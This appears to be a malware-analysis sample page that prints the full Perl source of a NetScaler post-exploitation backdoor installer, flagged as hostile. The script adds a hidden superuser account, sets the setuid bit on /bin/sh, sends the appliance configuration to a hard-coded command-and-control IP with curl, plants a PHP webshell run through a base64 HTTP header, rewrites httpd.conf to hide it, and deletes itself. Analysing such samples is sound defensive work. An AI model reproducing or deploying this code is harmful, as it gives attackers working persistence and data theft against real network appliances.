Hostile 100% perl Download

pitboss_install.pl

NetScaler backdoor installer

Encoded HTTP header command webshellSetuid shell alongside embedded PHP webshell
SHA-2563a4da375dc157c62be735c55d7507310cbe5e984d9dc48a1bbfdfb4773c9ae27

Evidence

chmod enables SUID on system shells lines 1–43
1#!/usr/bin/perl
2# Pitboss Shell - NetScaler post-exploitation installer (stage 0)
3# Runs as root after RCE on a compromised NetScaler ADC/Gateway appliance.
4use strict;
5use warnings;
6
7my $NSCONF = "/flash/nsconfig/ns.conf";
8my $HTTPD = "/etc/httpd.conf";
9my $BACKUP = "/etc/httpd.conf.slap.bak";
10my $STAGE = "/tmp/update_result_3567cs.tgz";
11my $C2 = "64.94.85.67";
12
13# Stage 1: rogue superuser written straight into the appliance config
14open(my $cfg, ">>", $NSCONF) or die "ns.conf: $!";
15print $cfg qq{add system user sec_monitor "ay#39&RGYvv4Xuzy" -timeout 900\n};
16print $cfg qq{bind system user sec_monitor superuser 100\n};
17close($cfg);
18
19# Stage 2: give the stock shell the setuid bit for later re-entry
20system("chmod 06555 /bin/sh");
21
22# Stage 3: snapshot and exfiltrate the appliance configuration directory
23system("tar czf $STAGE /flash/nsconfig 2>/dev/null");
24system(qq{curl -k -s -F "f=\@$STAGE" https://$C2:443/update_result});
25
26# Stage 4: drop the WHIPSHOT PHP web shell disguised as a hidden journal file
27my $WEBSHELL = "/var/netscaler/logon/LogonPoint/.local_journal";
28open(my $w, ">", $WEBSHELL) or die "webshell: $!";
29print $w "<?php system(base64_decode(\$_SERVER['HTTP_X_SLAP_CMD'])); ?>\n";
30close($w);
31
32# Stage 5: patch httpd.conf so disguised extensions execute as PHP
33rename($HTTPD, $BACKUP);
34open(my $h, ">>", $HTTPD) or die "httpd.conf: $!";
35print $h "AddType application/x-httpd-php .local_journal\n";
36print $h "AddType application/x-httpd-php .ico\n";
37print $h "AddType application/x-httpd-php .deb\n";
38print $h qq{Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css $WEBSHELL\n};
39close($h);
40
41# Stage 6: reload Apache and self-delete
42system("kill -HUP `cat /var/run/httpd.pid`");
43unlink($0);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.